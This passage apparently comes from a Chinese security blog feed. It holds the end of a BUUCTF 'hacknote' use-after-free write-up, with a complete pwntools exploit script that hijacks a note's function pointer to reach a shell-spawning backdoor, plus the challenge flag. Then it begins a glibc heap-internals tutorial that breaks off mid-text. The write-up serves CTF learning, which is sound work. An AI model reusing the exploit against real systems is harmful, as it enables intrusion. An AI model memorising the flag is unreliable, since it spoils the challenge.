src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf11.png" alt="【BUUCTF】hitcontraining_uaf11.png"></p><blockquote><p>由于存在 UAF 漏洞，于是我们的想法是覆盖 <code>notelist[i][0]</code> 的指针，使其指向 <code>magic()</code> 函数的地址</p><p>我们再通过 <code>print_note()</code> 函数将 <code>notelist[i][1]</code> 指向的 <code>note chunk</code> 打印，就会调用 <code>notelist[i][0]</code> 指向的 <code>magic()</code> 函数获得 shell</p></blockquote><p>首先，创建两个 <code>note chunk</code>（实际上创建了 4 个堆，因为还有 2 个 <code>notelist</code> 堆）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf12.png" alt="【BUUCTF】hitcontraining_uaf12.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf13.png" alt="【BUUCTF】hitcontraining_uaf13.png"></p><p>分别释放它们：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf14.png" alt="【BUUCTF】hitcontraining_uaf14.png"></p><p>此时如果我们再通过 <code>add_note()</code> 创建 <code>new_note chunk</code></p><p>由于 <code>add_note()</code> 会创建两个堆块，而 <code>fast bin</code> 是后进先出的，会申请到 <code>fastbin[0x10]</code> 中的两个 <code>fast bin</code>，即 <code>0x9f4d038</code> 和 <code>0x9f4d000</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf15.png" alt="【BUUCTF】hitcontraining_uaf15.png"></p><p>然后我们覆盖 <code>new_note chunk</code> 的第一个内容为后门函数 <code>magic()</code> 的地址：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf16.png" alt="【BUUCTF】hitcontraining_uaf16.png"></p><p>由于存在 UAF 漏洞，之前 <code>free</code> 掉的 <code>notelist[0]</code> 和 <code>note chunk 0</code> 依然是可以使用的</p><p>我们其实相当于将之前 <code>notelist[0][0]</code> 指向 <code>print_note_content()</code> 函数的指针篡改为了指向 <code>magic()</code> 函数的指针</p><p>然后调用 <code>print_note()</code> 函数，打印被 <code>free</code> 掉的 <code>note chunk 0</code> 的内容，此时就会执行 <code>notelist[0][0]</code> 处的 <code>magic()</code> 函数，触发后门函数拿到 shell</p><hr><h1 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'i386'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">0</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./hacknote"</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./hacknote"</span><span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span><span class="token comment"># 远程程序的 IP 和端口号</span>    io <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"node5.buuoj.cn"</span><span class="token punctuation">,</span> <span class="token number">27407</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">add_note</span><span class="token punctuation">(</span>size<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">b'Your choice :'</span><span class="token punctuation">,</span> <span class="token string">"1"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">b'Note size :'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">b'Content :'</span><span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">del_note</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">b'Your choice :'</span><span class="token punctuation">,</span> <span class="token string">"2"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">b'Index :'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">print_note</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">b'Your choice :'</span><span class="token punctuation">,</span> <span class="token string">"3"</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">b'Index :'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span>add_note<span class="token punctuation">(</span><span class="token number">32</span><span class="token punctuation">,</span> <span class="token string">b'aaaa'</span><span class="token punctuation">)</span>add_note<span class="token punctuation">(</span><span class="token number">32</span><span class="token punctuation">,</span> <span class="token string">b'bbbb'</span><span class="token punctuation">)</span>del_note<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>del_note<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>magic_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"magic"</span><span class="token punctuation">]</span>add_note<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> p32<span class="token punctuation">(</span>magic_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>print_note<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h1><blockquote><p>flag{6e193074-b875-4c2a-bb9d-3828320fa467}</p></blockquote><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf6.png" alt="【BUUCTF】hitcontraining_uaf6.png"></p>]]></content>
    
    
    <summary type="html">可以说是堆中的 ret2text，作为堆的入门例题吧，利用 UAF 漏洞篡改被释放的堆块内容为后门函数地址</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Writeup" scheme="https://www.uf4te.cn/tags/Writeup/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>堆基础</title>
    <link href="https://www.uf4te.cn/posts/463ab4ed.html"/>
    <id>https://www.uf4te.cn/posts/463ab4ed.html</id>
    <published>2024-05-15T12:04:36.000Z</published>
    <updated>2025-10-29T08:23:01.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="堆"><a href="#堆" class="headerlink" title="堆"></a>堆</h1><blockquote><p>堆（heap）是一种数据结构，在程序运行的过程中，堆可以提供动态分配的内存，允许程序申请大小未知的内存</p><p>堆是程序虚拟地址空间中的一块连续的线性区域，它<strong>由低地址向高地址方向增长（和栈的增长方向相反）</strong>，管理堆的程序也称为堆管理器</p><p>参考文章：  </p><ol><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-overview/">堆概述 - CTF Wiki</a>  </li><li><a href="https://wiki.wgpsec.org/">狼组安全团队公开知识库</a></li></ol></blockquote><p>目前 Linux 标准发行版中使用的堆分配器是 Glibc 中的堆分配器：<code>ptmalloc2</code></p><p>堆的基本操作是分配和回收，<code>ptmalloc2</code> 主要通过 <code>malloc()</code> 和 <code>free()</code> 函数来分配和释放内存块</p><hr><h2 id="堆的基本操作"><a href="#堆的基本操作" class="headerlink" title="堆的基本操作"></a>堆的基本操作</h2><h3 id="malloc"><a href="#malloc" class="headerlink" title="malloc"></a>malloc</h3><blockquote><p>函数声明：<code>void *malloc(size_t size)</code></p><p><code>size</code> 是内存块的大小，以字节为单位</p></blockquote><p><code>malloc()</code> 的作用是分配所需的内存空间（<em>不会对内存空间进行初始化</em>），并返回一个指向它的指针；如果请求失败，则返回 NULL</p><ul><li><p>当 <code>size = 0</code> 时，返回当前系统允许的堆的最小内存块</p></li><li><p>当 <code>size</code> 为负数时，<strong>由于在大多数系统上，size_t 是无符号数（这一点非常重要）</strong>，所以程序就会申请很大的内存空间，但通常来说都会失败，因为系统没有那么多的内存可以分配</p></li></ul><p>以一个简单的例子来看看 <code>malloc()</code> 函数和堆：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;stdlib.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>ptr <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>通过 GDB 调试可以看到，在执行 <code>malloc()</code> 函数前，程序的地址空间里是没有堆的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA1.png" alt="CTF - PWN_堆与堆溢出1.png"></p><p>执行 <code>malloc()</code> 函数后：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA2.png" alt="CTF - PWN_堆与堆溢出2.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA3.png" alt="CTF - PWN_堆与堆溢出3.png"></p><p>可见程序中最开始是没有堆这部分空间的，在用户通过 <code>malloc()</code> 申请内存后才会出现，并且会一次性申请很大空间的堆段（<code>0x555555559000 ~ 0x55555557a000</code>）</p><blockquote><p>注意：新版本的 Glibc 对堆结构的管理有些区别，上图是在 Glibc 2.37 的 Kali Linux 2024.1 中进行的测试</p><p>而在 Glibc 2.23 的 Ubuntu 16.04 中是这样的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA6.png" alt="CTF - PWN_堆与堆溢出6.png"></p></blockquote><hr><h4 id="calloc"><a href="#calloc" class="headerlink" title="calloc"></a>calloc</h4><blockquote><p>函数声明：<code>void *calloc(size_t nitems, size_t size)</code></p><p><code>nitems</code> 为要被分配的元素个数；<code>size</code> 为元素的大小</p></blockquote><p><code>calloc()</code> 在功能上与 <code>malloc()</code> 几乎相同，区别在于 <em><code>calloc()</code> 申请内存空间后会将其全部初始化为 0</em></p><p>使用 <code>calloc()</code> 函数时需要注意，如果分配的内存块过大，可能会导致内存不足的问题</p><hr><h4 id="realloc"><a href="#realloc" class="headerlink" title="realloc"></a>realloc</h4><blockquote><p>函数声明：<code>void *realloc(void *ptr, size_t size)</code></p><p><code>ptr</code> 是一个指向要重新分配内存的内存块的指针；<code>size</code> 是内存块的新的大小，以字节为单位</p></blockquote><p><code>realloc()</code> 的作用是重新调整之前通过 <code>malloc()</code> 或 <code>calloc()</code> 所分配的 <code>ptr</code> 所指向的内存块的大小，并返回一个指向重新分配大小的内存的指针；如果请求失败，则返回 NULL</p><ul><li><p>如果 <code>ptr</code> 为空指针，则会分配一个新的内存块，且函数返回一个指向它的指针，相当于 <code>malloc()</code></p></li><li><p>如果 <code>size = 0</code>，且 <code>ptr</code> 指向一个已存在的内存块，则 <code>ptr</code> 所指向的内存块会被释放，并返回一个空指针，相当于 <code>free()</code></p></li></ul><p>另外，针对重新申请的大小与之前申请内存的大小的关系，又有三种不同的情况：</p><ol><li><p>如果重新申请的大小 &gt; 之前申请内存的大小，且当前内存段后面有需要的内存空间，则直接扩展这段内存空间，<code>realloc()</code> 将返回原指针</p></li><li><p>如果重新申请的大小 &gt; 之前申请内存的大小，且当前内存段后面的空闲空间不够，那么就使用堆中的第一个能够满足这一要求的内存块，将目前的数据复制到新的位置，并将原来的数据块释放掉，返回新的内存块地址，相当于 <code>free() + malloc()</code></p></li><li><p>如果重新申请的大小 &lt; 之前申请内存的大小，堆块会直接缩小，被削减的内存会释放，这里的释放与 <code>free()</code> 不同</p></li></ol><hr><h3 id="free"><a href="#free" class="headerlink" title="free"></a>free</h3><blockquote><p>函数声明：<code>void free(void *ptr)</code></p><p><code>ptr</code> 是一个指向要释放内存的内存块的指针</p></blockquote><p><code>free()</code> 的作用是释放之前通过 <code>malloc()</code>、<code>calloc()</code> 或 <code>realloc()</code> 所分配的内存空间，该函数不返回任何值</p><ul><li><p>如果传递的参数 <code>ptr</code> 是一个空指针，则不会执行任何动作</p></li><li><p>当参数 <code>ptr</code> 已经被释放之后，再次释放会出现乱七八糟的效果（Double Free）</p></li><li><p>当释放很大的内存空间时，程序会将这些内存空间还给系统，以便于减小程序所使用的内存空间（被 <code>mallopt</code> 禁用的情况下除外）</p></li></ul><p>还是以上面的例子来看，执行 <code>free()</code> 之后堆段并不会消失：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA4.png" alt="CTF - PWN_堆与堆溢出4.png"></p><p>但是堆中的内容发生了变化：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA5.png" alt="CTF - PWN_堆与堆溢出5.png"></p><p>我们申请的空间变成了 <code>Free chunk</code></p><blockquote><p>注意：新版本的 Glibc 对堆结构的管理有些区别，上图是在 Glibc 2.37 的 Kali Linux 2024.1 中进行的测试</p><p>而在 Glibc 2.23 的 Ubuntu 16.04 中是这样的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA7.png" alt="CTF - PWN_堆与堆溢出7.png"></p></blockquote><p>通过 <code>free()</code> 释放的堆块不会立刻被回收，它们会变成 <code>Free chunk</code> 并加上了一种 <code>xxx bin</code> 的名字，例如上图 Glibc 2.23 中的 <code>fastbins</code>（<code>fast bin</code>）</p><p><em>通常来说，当堆块释放后，如果与另一个被释放的堆块或者 <code>top chunk</code> 相邻，则这些空间会被合并</em>（<strong>但是 fast bin 是个特例，不会轻易合并</strong>）</p><hr><h3 id="内存分配背后的系统调用"><a href="#内存分配背后的系统调用" class="headerlink" title="内存分配背后的系统调用"></a>内存分配背后的系统调用</h3><blockquote><p>无论是 <code>malloc</code> 函数还是 <code>free</code> 函数，我们动态申请和释放内存时，都经常会使用，但是它们并不是真正与系统交互的函数</p><p>这些函数背后的系统调用主要是 <code>brk</code> 函数以及 <code>mmap</code> 函数</p></blockquote><ol><li><p><code>brk</code> 是将 DATA 数据段的最高地址指针 <code>_edata</code> 往高地址推（<code>_edata</code> 指向数据段的最高地址）</p></li><li><p><code>mmap</code> 是在进程的虚拟地址空间中（堆和栈中间，称为文件映射区域的地方）找一块空闲的虚拟内存</p></li></ol><p><code>brk</code> 和 <code>mmap</code> 这两种方式分配的都是虚拟内存，没有分配物理内存</p><p>在第一次访问已分配的虚拟地址空间的时候，发生缺页中断，操作系统负责分配物理内存，然后建立虚拟内存和物理内存之间的映射关系</p><ul><li><code>malloc</code> 小于 <code>128k</code>（<code>0x20000</code> 字节）的内存时，使用 <code>brk</code> 分配内存</li><li><code>malloc</code> 大于等于 <code>128k</code>（<code>0x20000</code> 字节）的内存时，使用 <code>mmap</code> 分配内存，在堆和栈之间找一块空闲内存分配</li></ul><p>第一次执行 <code>malloc</code> 可能出现的系统调用如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA19.png" alt="CTF - PWN_堆与堆溢出19.png"></p><blockquote><p>注意：</p><p><code>brk</code> 会直接拓展原来的堆，<code>mmap</code> 会单独映射一块内存</p><p><strong><code>mmap</code> 分配的内存与 libc 基地址之前存在固定的偏移，因此可以推算出 libc 的基地址</strong></p></blockquote><hr><h4 id="brk"><a href="#brk" class="headerlink" title="brk"></a>brk</h4><blockquote><p>对于堆的操作，操作系统提供了 <code>brk</code> 函数，Glibc 库提供了 <code>sbrk</code> 函数，我们可以通过增加 <code>brk</code> 的大小来向操作系统申请内存</p></blockquote><p>初始时，堆的起始地址 <code>start_brk</code> 以及堆的当前末尾 <code>brk</code> 指向同一地址。根据是否开启 ASLR，两者的具体位置会有所不同：</p><ul><li>不开启 ASLR 保护时，<code>start_brk</code> 以及 <code>brk</code> 会指向 DATA&#x2F;BSS 段的结尾。</li><li>开启 ASLR 保护时，<code>start_brk</code> 以及 <code>brk</code> 也会指向同一位置，只是这个位置是在 DATA&#x2F;BSS 段结尾后的随机偏移处</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA18.png" alt="CTF - PWN_堆与堆溢出18.png"></p><hr><h4 id="mmap"><a href="#mmap" class="headerlink" title="mmap"></a>mmap</h4><blockquote><p><code>malloc</code> 会使用 <code>mmap</code> 来创建独立的匿名映射段。匿名映射的目的主要是可以申请以 0 填充的内存，并且这块内存仅被调用进程所使用</p></blockquote><ul><li>在执行 <code>mmap</code> 之前，只有 <code>.so</code> 文件的 <code>mmap</code> 段</li><li>执行 <code>mmap</code> 之后，我们申请的内存与已经存在的内存段结合在了一起，构成了新的 <code>mmap</code> 段</li></ul><hr><h2 id="堆的结构"><a href="#堆的结构" class="headerlink" title="堆的结构"></a>堆的结构</h2><h3 id="微观结构"><a href="#微观结构" class="headerlink" title="微观结构"></a>微观结构</h3><h4 id="malloc-chunk"><a href="#malloc-chunk" class="headerlink" title="malloc_chunk"></a>malloc_chunk</h4><blockquote><p><code>chunk</code> 也叫块，在内存中表示的意思就是一块内存，这块内存在 <code>ptmalloc2</code> 内部用 <code>malloc_chunk</code> 结构体来表示</p><p>在程序的执行过程中，我们称由 <code>malloc()</code> 申请的内存为 <code>chunk</code>，<code>chunk</code> 也是堆的最小操作单元</p><p>参考文章：<a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/#malloc_chunk">堆相关数据结构 - CTF Wiki</a></p></blockquote><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA15.png" alt="CTF - PWN_堆与堆溢出15.png"></p><p><code>malloc_chunk</code> 的结构体定义如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">/*  This struct declaration is misleading (but accurate and necessary).  It declares a "view" into memory allowing access to necessary  fields at known offsets from a given base. See explanation below.*/</span><span class="token keyword">struct</span> <span class="token class-name">malloc_chunk</span> <span class="token punctuation">&#123;</span>  INTERNAL_SIZE_T      prev_size<span class="token punctuation">;</span>  <span class="token comment">/* Size of previous chunk (if free).  */</span>  INTERNAL_SIZE_T      size<span class="token punctuation">;</span>       <span class="token comment">/* Size in bytes, including overhead. */</span>  <span class="token keyword">struct</span> <span class="token class-name">malloc_chunk</span><span class="token operator">*</span> fd<span class="token punctuation">;</span>         <span class="token comment">/* double links -- used only if free. */</span>  <span class="token keyword">struct</span> <span class="token class-name">malloc_chunk</span><span class="token operator">*</span> bk<span class="token punctuation">;</span>  <span class="token comment">/* Only used for large blocks: pointer to next larger size.  */</span>  <span class="token keyword">struct</span> <span class="token class-name">malloc_chunk</span><span class="token operator">*</span> fd_nextsize<span class="token punctuation">;</span> <span class="token comment">/* double links -- used only if free. */</span>  <span class="token keyword">struct</span> <span class="token class-name">malloc_chunk</span><span class="token operator">*</span> bk_nextsize<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>一些参数的解释：</p><ul><li><p><code>prev_size</code></p><ol><li><p>如果该 <code>chunk</code> 的物理相邻的前一地址 <code>chunk</code>（两个指针的地址差值为前一个 <code>chunk</code> 的大小）是空闲的话，那么 <code>prev_size</code> 记录的是前一个 <code>chunk</code> 的大小（包括 <code>chunk</code> 头）</p></li><li><p>否则，<code>prev_size</code> 可以用来存储物理相邻的前一个 <code>chunk</code> 的数据。这里的前一个 <code>chunk</code> 指的是较低地址的 <code>chunk</code></p></li></ol></li><li><p><code>size</code></p><ol><li><p><code>size</code> 表示该 <code>chunk</code> 的大小，大小必须是 <code>2 * SIZE_SZ</code> 的整数倍。如果申请的内存大小不是 <code>2 * SIZE_SZ</code> 的整数倍，会被转换成满足大小的最小的 <code>2 * SIZE_SZ</code> 的倍数</p></li><li><p>32 位系统中，<code>SIZE_SZ</code> 是 4；64 位系统中，<code>SIZE_SZ</code> 是 8。 该字段的低三个比特位对 <code>chunk</code> 的大小没有影响，它们从高到低分别表示</p></li><li><p>一般来说，堆中第一个被分配的内存块的 <code>size</code> 字段的 <code>P</code> 位都会被设置为 1，以便于防止访问前面的非法内存；当一个 <code>chunk</code> 的 <code>size</code> 的 <code>P</code> 位为 0 时，我们能通过 <code>prev_size</code> 字段来获取上一个 <code>chunk</code> 的大小以及地址。这也方便进行空闲 <code>chunk</code> 之间的合并</p></li></ol></li></ul><table><thead><tr><th align="left">参数</th><th align="left">意义</th><th></th></tr></thead><tbody><tr><td align="left"><code>（A）NON_MAIN_ARENA</code></td><td align="left">记录当前 <code>chunk</code> 是否不属于主线程，1 表示不属于，0 表示属于</td><td></td></tr><tr><td align="left"><code>（M）IS_MAPPED</code></td><td align="left">记录当前 <code>chunk</code> 是否是由 <code>mmap</code> 分配的</td><td></td></tr><tr><td align="left"><code>（P）PREV_INUSE</code></td><td align="left">记录前一个 <code>chunk</code> 块是否被分配，0 表示空闲，1 表示使用中</td><td></td></tr></tbody></table><ul><li><p><code>fd、bk</code></p><ol><li><p><code>chunk</code> 处于分配状态时，从 <code>fd</code> 字段开始是用户的数据。<code>chunk</code> 空闲时，会被添加到对应的空闲管理链表中</p></li><li><p>通过 <code>fd</code> 和 <code>bk</code> 可以将空闲的 <code>chunk</code> 块加入到空闲的 <code>chunk</code> 块链表进行统一管理</p></li></ol></li></ul><table><thead><tr><th align="left">参数</th><th align="left">意义</th></tr></thead><tbody><tr><td align="left"><code>fd</code></td><td align="left">指向下一个（非物理相邻）空闲的 <code>chunk</code></td></tr><tr><td align="left"><code>bk</code></td><td align="left">指向上一个（非物理相邻）空闲的 <code>chunk</code></td></tr></tbody></table><ul><li><p><code>fd_nextsize、bk_nextsize</code></p><ol><li><p>只有 <code>chunk</code> 空闲的时候才使用，不过其用于较大的 <code>chunk</code>（<code>large chunk</code>）</p></li><li><p>一般空闲的 <code>large chunk</code> 在 <code>fd</code> 的遍历顺序中，按照由大到小的顺序排列。<strong>这样做可以避免在寻找合适 chunk 时挨个遍历</strong></p></li></ol></li></ul><table><thead><tr><th align="left">参数</th><th align="left">意义</th></tr></thead><tbody><tr><td align="left"><code>fd_nextsize</code></td><td align="left">指向前一个与当前 <code>chunk</code> 大小不同的第一个空闲块，不包含 <code>bin</code> 的头指针</td></tr><tr><td align="left"><code>bk_nextsize</code></td><td align="left">指向后一个与当前 <code>chunk</code> 大小不同的第一个空闲块，不包含 <code>bin</code> 的头指针</td></tr></tbody></table><blockquote><p>注意：</p><p><strong>无论一个 chunk 的大小如何，处于分配状态还是释放状态，它们都使用一个统一的结构</strong></p><p><em>虽然在分配状态和释放状态下，<code>chunk</code> 都是同一个数据结构，但是它们的表现形式是不一样的</em></p></blockquote><ul><li><code>chunk</code> 处于分配状态（<code>Allocated chunk</code>）：</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA9.png" alt="CTF - PWN_堆与堆溢出9.png"></p><p><strong>前两个字段称为 <code>chunk header</code>，后面的部分称为 <code>user data</code></strong></p><p><mark>每次 <code>malloc</code> 申请得到的内存指针，其实指向 <code>user data</code> 的起始处</mark></p><blockquote><p><code>chunk</code> 中的空间复用：</p><p>当一个 <code>chunk</code> 处于使用状态时，它的下一个 <code>chunk</code> 的 <code>prev_size</code> 域无效，所以下一个 <code>chunk</code> 的该部分也可以被当前 <code>chunk</code> 使用</p></blockquote><ul><li><code>chunk</code> 处于释放状态（<code>Freed chunk</code>）（可能是循环双向链表，也可能是单向链表）：</li></ul><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E4%B8%8E%E5%A0%86%E6%BA%A2%E5%87%BA8.png" alt="CTF - PWN_堆与堆溢出8.png"></p><p>如果一个 <code>chunk</code> 处于 <code>free</code> 状态，那么会有两个位置记录其相应的大小：</p><ol><li>该 <code>chunk</code> 本身的 <code>size</code> 字段会记录</li><li>该 <code>chunk</code> 后面的一个 <code>chunk</code> 会记录</li></ol><blockquote><p>堆管理器会通过 <code>prev_size</code> 字段以及 <code>size</code> 字段合并两个物理相邻的空闲 <code>chunk</code> 块</p></blockquote><hr><h4 id="top-chunk"><a href="#top-chunk" class="headerlink" title="top chunk"></a>top chunk</h4><blockquote><p>程序第一次进行 <code>malloc</code> 的时候，<code>heap</code> 会被分为两块，一块给用户，剩下的那块就是 <code>top chunk</code>，简而言之，**<code>top chunk</code> 就是处于当前堆的物理地址最高的 <code>chunk</code>**</p><p><code>top chunk</code> 不属于任何一个 <code>bin</code>，它的作用在于：  </p><ol><li>当所有的 <code>bin</code> 都无法满足用户请求的大小时，如果 <code>top chunk</code> 不小于用户请求的大小，就从 <code>top chunk</code> 中进行分配，并将剩下的部分作为新的 <code>top chunk</code>  </li><li>否则，就对 <code>heap</code> 进行扩展后再进行分配（在 <code>main arena</code> 中通过 <code>sbrk</code> 扩展 <code>heap</code>，而在 <code>thread arena</code> 中通过 <code>mmap</code> 分配新的 <code>heap</code>）</li></ol></blockquote><ul><li>初始情况下，可以将 <code>unsorted chunk</code> 作为 <code>top chunk</code></li><li><code>top chunk</code> 的 <code>PREV_INUSE</code> 位始终为 1（否则其前面的 <code>chunk</code> 就会被合并到 <code>top chunk</code> 中）</li></ul><hr><h4 id="last-remainder-chunk"><a href="#last-remainder-chunk" class="headerlink" title="last remainder chunk"></a>last remainder chunk</h4><blockquote><p>在用户使用 <code>malloc</code> 请求分配内存时，<code>ptmalloc2</code> 找到的 